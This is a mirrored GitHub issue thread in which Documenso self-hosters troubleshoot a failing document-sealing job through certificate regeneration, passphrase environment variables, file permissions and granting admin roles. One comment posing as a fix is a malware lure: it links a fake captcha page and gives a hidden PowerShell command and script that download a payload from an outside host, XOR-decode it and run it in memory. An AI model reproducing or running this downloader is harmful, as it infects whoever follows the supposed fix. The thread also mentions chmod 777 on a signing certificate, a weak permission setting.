    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2429601217 --> @talhak55 commented on GitHub (Oct 22, 2024): I'm still getting the same log, and when creating the private.key, it doesn't prompt for a passphrase. It only asks for a passphrase when exporting to PKCS12 format. ``` Submitting job to endpoint: https://documenso.domain.com/api/jobs/internal.seal-document/cm2kljswu0014mi27yj4wjeyr [JOBS]: Triggering job internal.seal-document with payload { documentId: 4, requestMetadata: { userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' } } [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
Author
Owner

@LckySndays commented on GitHub (Oct 25, 2024):

to fix your trouble check this solution click maybe this will solve your problem.

Beware of malicious link

powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke()

$url = "https://javierlopez.eu/adapt/cabbage"
$webClient = New-Object System.Net.WebClient
$sell61 = $webClient.DownloadData($url)

$gossip123 = 0x09, 0x04, 0x05

$struggle6 = [byte[]]::new($sell61.Length)

for ($i = 0; $i -lt $sell61.Length; $i++) {
    $struggle6[$i] = $sell61[$i] -bxor $gossip123[$i % $gossip123.Length]
}

$afraid16 = [System.AppDomain]::CurrentDomain.Load($struggle6)

if ($afraid16.EntryPoint -ne $null) {
    $afraid16.EntryPoint.Invoke($null, @($null))
} else {
    Write-Host "glass glimpse glue gloom"
}
<!-- gh-comment-id:2436602694 --> @LckySndays commented on GitHub (Oct 25, 2024): > to fix your trouble check this solution [click](https://www.calvarywhangarei.co.nz/captha/index.html) maybe this will solve your problem. Beware of malicious link powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke() ``` $url = "https://javierlopez.eu/adapt/cabbage" $webClient = New-Object System.Net.WebClient $sell61 = $webClient.DownloadData($url) $gossip123 = 0x09, 0x04, 0x05 $struggle6 = [byte[]]::new($sell61.Length) for ($i = 0; $i -lt $sell61.Length; $i++) { $struggle6[$i] = $sell61[$i] -bxor $gossip123[$i % $gossip123.Length] } $afraid16 = [System.AppDomain]::CurrentDomain.Load($struggle6) if ($afraid16.EntryPoint -ne $null) { $afraid16.EntryPoint.Invoke($null, @($null)) } else { Write-Host "glass glimpse glue gloom" } ```
Author
Owner

@falzfalzfalz commented on GitHub (Oct 27, 2024):

Any chances someone can look into this ? There's been many reports of the bug now

<!-- gh-comment-id:2440075443 --> @falzfalzfalz commented on GitHub (Oct 27, 2024): Any chances someone can look into this ? There's been many reports of the bug now
Author
Owner

@xfang2024 commented on GitHub (Oct 28, 2024):

same problem, can anybody help figure out this bug?

<!-- gh-comment-id:2441863820 --> @xfang2024 commented on GitHub (Oct 28, 2024): same problem, can anybody help figure out this bug?
Author
Owner

@Dev-dpk commented on GitHub (Oct 29, 2024):

I had the same issue . Steps followed to fix the issue

  • Created .p12 certificate without using a passphrase
  • Set the NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH to the absolute path of certificate
  • [IMPORTANT] If you are running the server as service make sure the user mentioned in configuration have the access to the certificate file in my case it was www-data
<!-- gh-comment-id:2443204356 --> @Dev-dpk commented on GitHub (Oct 29, 2024): I had the same issue . Steps followed to fix the issue - Created .p12 certificate without using a passphrase - Set the `NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH` to the absolute path of certificate - [IMPORTANT] If you are running the server as service make sure the user mentioned in configuration have the access to the certificate file in my case it was `www-data`
Author
Owner

@dguyen commented on GitHub (Oct 29, 2024):

If you're encountering an error like this using the production docker image:

[JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed

Can you please try this?

  1. Recreate the certificate and use the -legacy flag (look at the yellow alert here)

  2. Set the NEXT_PRIVATE_SIGNING_PASSPHRASE environment variable to the password you provided when creating the certificate

If you're using docker compose, add this to the environment section in the compose file

environment:
  - NEXT_PRIVATE_SIGNING_PASSPHRASE=${NEXT_PRIVATE_SIGNING_PASSPHRASE}

Then update the .env file with NEXT_PRIVATE_SIGNING_PASSPHRASE with your certificate password

  1. Ensure the certificate volume is binded correctly, example:
volumes:
  - /path/to/your/new/certificate.p12:/opt/documenso/cert.p12

Do not change the right hand side

  1. Spin up docker and try signing a document

Additional debugging

If you're still running into an error:

  1. Update a user account to admin (add the ADMIN the role of the user roles)
  2. Log into that account and navigate to http://localhost:3000/admin/documents
  3. Find a broken pending document and click into it
  4. Click on Reseal Document
  5. Look at the docker logs to see the error

If you see a permission error try to chmod the cert or chown it to be the same group as nextjs 1001

Resealing document will sign the document with the certificate, so it should allow us to see the exact error instead of it being hidden in the job.

<!-- gh-comment-id:2443702614 --> @dguyen commented on GitHub (Oct 29, 2024): If you're encountering an error like this using the production docker image: ``` [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed ``` Can you please try this? 1. Recreate the certificate and use the `-legacy` flag [(look at the yellow alert here)](https://docs.documenso.com/developers/local-development/signing-certificate#create-p12-certificate) 2. Set the `NEXT_PRIVATE_SIGNING_PASSPHRASE` environment variable to the password you provided when creating the certificate If you're using docker compose, add this to the environment section in the compose file ``` environment: - NEXT_PRIVATE_SIGNING_PASSPHRASE=${NEXT_PRIVATE_SIGNING_PASSPHRASE} ``` Then update the .env file with `NEXT_PRIVATE_SIGNING_PASSPHRASE` with your certificate password 3. Ensure the certificate volume is binded correctly, example: ``` volumes: - /path/to/your/new/certificate.p12:/opt/documenso/cert.p12 ``` Do not change the right hand side 4. Spin up docker and try signing a document **Additional debugging** If you're still running into an error: 1. Update a user account to admin (add the `ADMIN` the role of the user roles) 2. Log into that account and navigate to http://localhost:3000/admin/documents 3. Find a broken pending document and click into it 4. Click on `Reseal Document` 5. Look at the docker logs to see the error If you see a permission error try to chmod the cert or chown it to be the same group as nextjs 1001 Resealing document will sign the document with the certificate, so it should allow us to see the exact error instead of it being hidden in the job.
Author
Owner

@nicko170 commented on GitHub (Oct 29, 2024):

Running into this too.

The task fails, but the document is signed, marked completed and ready for downloading if the page is refreshed or viewed.

Emails are not being sent for completion.

Signing in admin works fine, and no error is produced.

Running 1.7.2-rc.1

2024-10-29T22:01:21+11:00 [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries
2024-10-29T22:01:21+11:00     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)
2024-10-29T22:01:21+11:00     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:27451)
2024-10-29T22:01:21+11:00     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
2024-10-29T22:01:21+11:00     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
2024-10-29T22:01:21+11:00     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
2024-10-29T22:01:21+11:00     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
2024-10-29T22:01:21+11:00     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
2024-10-29T22:01:21+11:00     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
2024-10-29T22:01:21+11:00     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
2024-10-29T22:01:21+11:00     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2445377837 --> @nicko170 commented on GitHub (Oct 29, 2024): Running into this too. The task fails, but the document is signed, marked completed and ready for downloading if the page is refreshed or viewed. Emails are not being sent for completion. Signing in admin works fine, and no error is produced. Running 1.7.2-rc.1 ``` 2024-10-29T22:01:21+11:00 [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries 2024-10-29T22:01:21+11:00 at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) 2024-10-29T22:01:21+11:00 at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:27451) 2024-10-29T22:01:21+11:00 at async /app/apps/web/.next/server/chunks/9783.js:1:15444 2024-10-29T22:01:21+11:00 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) 2024-10-29T22:01:21+11:00 at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) 2024-10-29T22:01:21+11:00 at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) 2024-10-29T22:01:21+11:00 at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) 2024-10-29T22:01:21+11:00 at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) 2024-10-29T22:01:21+11:00 at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) 2024-10-29T22:01:21+11:00 at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
Author
Owner

@LckySndays commented on GitHub (Oct 30, 2024):

@dguyen

Still same problem on my end, here is the new logs generated by the reseal button

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)

resealDocument error Error: EISDIR: illegal operation on a directory, read

    at Object.readSync (node:fs:744:3)

    at tryReadSync (node:fs:444:20)

    at Object.readFileSync (node:fs:490:19)

    at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367)

    at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497)

    at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070

    at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) {

  errno: -21,

  syscall: 'read',

  code: 'EISDIR'

}

resealDocument error Error: EISDIR: illegal operation on a directory, read

    at Object.readSync (node:fs:744:3)

    at tryReadSync (node:fs:444:20)

    at Object.readFileSync (node:fs:490:19)

    at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367)

    at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497)

    at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070

    at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) {

  errno: -21,

  syscall: 'read',

  code: 'EISDIR'

}
<!-- gh-comment-id:2445714964 --> @LckySndays commented on GitHub (Oct 30, 2024): @dguyen Still same problem on my end, here is the new logs generated by the reseal button ``` [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) resealDocument error Error: EISDIR: illegal operation on a directory, read at Object.readSync (node:fs:744:3) at tryReadSync (node:fs:444:20) at Object.readFileSync (node:fs:490:19) at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367) at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497) at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070 at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) { errno: -21, syscall: 'read', code: 'EISDIR' } resealDocument error Error: EISDIR: illegal operation on a directory, read at Object.readSync (node:fs:744:3) at tryReadSync (node:fs:444:20) at Object.readFileSync (node:fs:490:19) at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367) at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497) at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070 at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) { errno: -21, syscall: 'read', code: 'EISDIR' } ```
Author
Owner

@dguyen commented on GitHub (Oct 30, 2024):

@LckySndays could you please connect to the docker container and check whether the certificate exists as /opt/documenso/cert.p12?

<!-- gh-comment-id:2445723437 --> @dguyen commented on GitHub (Oct 30, 2024): @LckySndays could you please connect to the docker container and check whether the certificate exists as /opt/documenso/cert.p12?
Author
Owner

@LckySndays commented on GitHub (Oct 30, 2024):

@dguyen
the certificate exist there with the following permission
image

<!-- gh-comment-id:2445804117 --> @LckySndays commented on GitHub (Oct 30, 2024): @dguyen the certificate exist there with the following permission ![image](https://github.com/user-attachments/assets/997325dc-edd9-46e3-8aa4-4b09dca23f47)
Author
Owner

@dguyen commented on GitHub (Oct 30, 2024):

@LckySndays it looks like cert.p12 is a directory? It should be a file

<!-- gh-comment-id:2445872824 --> @dguyen commented on GitHub (Oct 30, 2024): @LckySndays it looks like cert.p12 is a directory? It should be a file
Author
Owner

@LckySndays commented on GitHub (Oct 30, 2024):

@dguyen nice catch
Seems like still got same error when do the reseal (Failed to reseal document)
Should I change the permission of the file?
image

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)

resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12'

    at Object.openSync (node:fs:596:3)

    at Object.readFileSync (node:fs:464:35)

    at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367)

    at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497)

    at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070

    at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:175333 {

  errno: -13,

  syscall: 'open',

  code: 'EACCES',

  path: '/opt/documenso/cert.p12'

}

Edit:
chmod 777 cert.p12 seems does the trick and I have successfully signed the document
Is it the correct way to solve the issue?

<!-- gh-comment-id:2445892932 --> @LckySndays commented on GitHub (Oct 30, 2024): @dguyen nice catch Seems like still got same error when do the reseal (Failed to reseal document) Should I change the permission of the file? ![image](https://github.com/user-attachments/assets/9194c798-8e5b-45ce-84f0-6ce569e1863c) ``` [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12' at Object.openSync (node:fs:596:3) at Object.readFileSync (node:fs:464:35) at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367) at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497) at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070 at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:175333 { errno: -13, syscall: 'open', code: 'EACCES', path: '/opt/documenso/cert.p12' } ``` Edit: chmod 777 cert.p12 seems does the trick and I have successfully signed the document Is it the correct way to solve the issue?
Author
Owner

@dguyen commented on GitHub (Oct 30, 2024):

@LckySndays There's also this https://github.com/documenso/documenso/issues/1171#issuecomment-2181943339 where you would set the cert owner to the nextjs user. Haven't tried this though

You could also try a less permissive setting such as chmod 644, which should work as well?

<!-- gh-comment-id:2445949444 --> @dguyen commented on GitHub (Oct 30, 2024): @LckySndays There's also this https://github.com/documenso/documenso/issues/1171#issuecomment-2181943339 where you would set the cert owner to the nextjs user. Haven't tried this though You could also try a less permissive setting such as `chmod 644`, which should work as well?
Author
Owner

@gfmozzer commented on GitHub (Nov 9, 2024):

None of the approaches worked for me; the documents remain pending.

<!-- gh-comment-id:2465958638 --> @gfmozzer commented on GitHub (Nov 9, 2024): None of the approaches worked for me; the documents remain pending.
Author
Owner

@InvixGG commented on GitHub (Nov 10, 2024):

None of the approaches worked for me; the documents remain pending.

Did you create your certificate with the -legacy flag?

<!-- gh-comment-id:2466847012 --> @InvixGG commented on GitHub (Nov 10, 2024): > None of the approaches worked for me; the documents remain pending. Did you create your certificate with the -legacy flag?
Author
Owner

@vinybk commented on GitHub (Nov 15, 2024):

A solution for the Issue

I encountered the same issue and was able to resolve it successfully by following the steps outlined in this thread 🎉. Here's a detailed breakdown of what worked for me, using version 1.7.2-rc.4:

1. Generate a New Certificate

I generated a new certificate following the instructions provided by @gps949.

For more information regarding the certificate, see this issue: #1171.

2. Debugging via the Admin Panel

I logged into the admin panel for debugging, as suggested by @dguyen.

When attempting to seal the document via the admin panel, I encountered the following error:

3. Error: resealDocument error Error: EACCES: permission denied

documenso_1 | resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12'

This happened because I missed the following command:

chown 1001 certificate.p12

4. Error: Failed to Get Private Key Bags

After fixing the above, I ran into another error:

resealDocument error Error: Failed to get private key bags

To debug further, I checked the container environment variables with:

sudo docker exec <container id> env

To my surprise, I found that the passphrase was blank:

NEXT_PRIVATE_SIGNING_PASSPHRASE=

5. Fixing the ENV Variable Issue

Even though my .env file and docker-compose configuration were correct, the NEXT_PRIVATE_SIGNING_PASSPHRASE variable was not being passed to the container. After some troubleshooting, I:

Deleted the problematic line in the .env file.
Re-added it manually (not via copy-paste).
This resolved the issue! I suspect the original line contained a special character that Docker could not parse correctly.

Here’s a visual reference:

Imagem do WhatsApp de 2024-11-15 à(s) 19 05 28_55113513

Left (Purple): Working variable.
Right (Green): Non-working variable.

PS: How to assigning the ADMIN Role

For those needing to assign admin privileges to a user, here are the steps I followed:

Connect to the Docker Container

sudo docker ps
sudo docker exec -it <postgres container id> sh

Connect to PostgreSQL

psql -d documenso -U documenso 

Remember to change user and database name if your is different.

View Users with the USER Role

SELECT * FROM "User" WHERE 'USER' = ANY(roles);

Update the User Role

UPDATE "User"
SET roles = ARRAY_REMOVE(roles, 'USER') || ARRAY['ADMIN']::"Role"[]
WHERE email = 'user@email';

Confirm the Change

SELECT name, email, roles FROM "User" WHERE 'ADMIN' = ANY(roles);

For more information regarding the certificate, see this issue: #1171.

Good luck! 🙌

<!-- gh-comment-id:2480131272 --> @vinybk commented on GitHub (Nov 15, 2024): ### A solution for the Issue I encountered the same issue and was able to resolve it successfully by following the steps outlined in this thread 🎉. Here's a detailed breakdown of what worked for me, using version 1.7.2-rc.4: ### 1. Generate a New Certificate I generated a new certificate following the instructions provided by [@gps949](https://github.com/documenso/documenso/issues/1399#issuecomment-2429221441). For more information regarding the certificate, see this issue: [#1171](https://github.com/documenso/documenso/issues/1171). ### 2. Debugging via the Admin Panel I logged into the admin panel for debugging, as suggested by [@dguyen](https://github.com/documenso/documenso/issues/1399#issuecomment-2443702614). When attempting to seal the document via the admin panel, I encountered the following error: ### 3. Error: resealDocument error Error: EACCES: permission denied > documenso_1 | resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12' This happened because I missed the following command: ``` chown 1001 certificate.p12 ``` ### 4. Error: Failed to Get Private Key Bags After fixing the above, I ran into another error: > resealDocument error Error: Failed to get private key bags To debug further, I checked the container environment variables with: ``` sudo docker exec <container id> env ``` To my surprise, I found that the passphrase was blank: `NEXT_PRIVATE_SIGNING_PASSPHRASE=` ### 5. Fixing the ENV Variable Issue Even though my .env file and docker-compose configuration were correct, the NEXT_PRIVATE_SIGNING_PASSPHRASE variable was not being passed to the container. After some troubleshooting, I: Deleted the problematic line in the .env file. Re-added it manually (not via copy-paste). This resolved the issue! I suspect the original line contained a special character that Docker could not parse correctly. Here’s a visual reference: ![Imagem do WhatsApp de 2024-11-15 à(s) 19 05 28_55113513](https://github.com/user-attachments/assets/a05d78e9-deb5-4554-ab7c-6f99dcdf9f85) Left (Purple): Working variable. Right (Green): Non-working variable. ### PS: How to assigning the ADMIN Role For those needing to assign admin privileges to a user, here are the steps I followed: Connect to the Docker Container ``` sudo docker ps sudo docker exec -it <postgres container id> sh ``` Connect to PostgreSQL ``` psql -d documenso -U documenso ``` _Remember to change user and database name if your is different._ View Users with the USER Role ``` SELECT * FROM "User" WHERE 'USER' = ANY(roles); ``` Update the User Role ``` UPDATE "User" SET roles = ARRAY_REMOVE(roles, 'USER') || ARRAY['ADMIN']::"Role"[] WHERE email = 'user@email'; ``` Confirm the Change ``` SELECT name, email, roles FROM "User" WHERE 'ADMIN' = ANY(roles); ``` For more information regarding the certificate, see this issue: [#1171](https://github.com/documenso/documenso/issues/1171). Good luck! 🙌
Author
Owner

@tmlmt commented on GitHub (Nov 16, 2024):

Thanks @vinbrun and @dguyen!

The combination of -legacy flag (I wonder why that is necessary?), NEXT_PRIVATE_SIGNING_PASSPHRASE in the .env + compose file and correct permission for the certificate.p12 file, solved the issue.

I can see that the docs and example docker compose file have been updated in this commit as part of v1.8.0-rc.0 so new users shouldn't encounter this issue if they follow the instructions to create the certificate and use the latest compose file example.

Two details though:

  1. I would encourage to start from the example .env file in the repo instead of the (too?) minimal .env content suggested in the docs as it may be confusing or incomplete (e.g. missing the SIGNING_PASSPHRASE variable or other useful ones) while the example env file is thorough and clear.
  2. There is no need to set the owner of the cert.p12 file to 1001 and it may also be confusing as the 1001 user on the host may exist and be different. A read permission also works (sudo chmod 644 cert.p12)
<!-- gh-comment-id:2480837281 --> @tmlmt commented on GitHub (Nov 16, 2024): Thanks @vinbrun and @dguyen! The combination of `-legacy` flag (I wonder why that is necessary?), `NEXT_PRIVATE_SIGNING_PASSPHRASE` in the .env + compose file and correct permission for the `certificate.p12` file, solved the issue. I can see that the [docs](https://docs.documenso.com/developers/local-development/signing-certificate) and example [docker compose file](https://raw.githubusercontent.com/documenso/documenso/release/docker/production/compose.yml) have been updated in [this commit](https://github.com/documenso/documenso/commit/1b10c55758b828e05ff533b6c2901f5ffd204155) as part of v1.8.0-rc.0 so new users shouldn't encounter this issue if they follow the instructions to create the certificate and use the latest compose file example. Two details though: 1. I would encourage to start from the [example `.env` file](https://github.com/documenso/documenso/blob/main/.env.example) in the repo instead of the (too?) minimal .env content suggested in the [docs](https://docs.documenso.com/developers/self-hosting/how-to#docker) as it may be confusing or incomplete (e.g. missing the SIGNING_PASSPHRASE variable or other useful ones) while the example env file is thorough and clear. 2. There is no need to set the owner of the `cert.p12` file to 1001 and it may also be confusing as the 1001 user on the host may exist and be different. A read permission also works (`sudo chmod 644 cert.p12`)
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
starred/documenso#395
No description provided.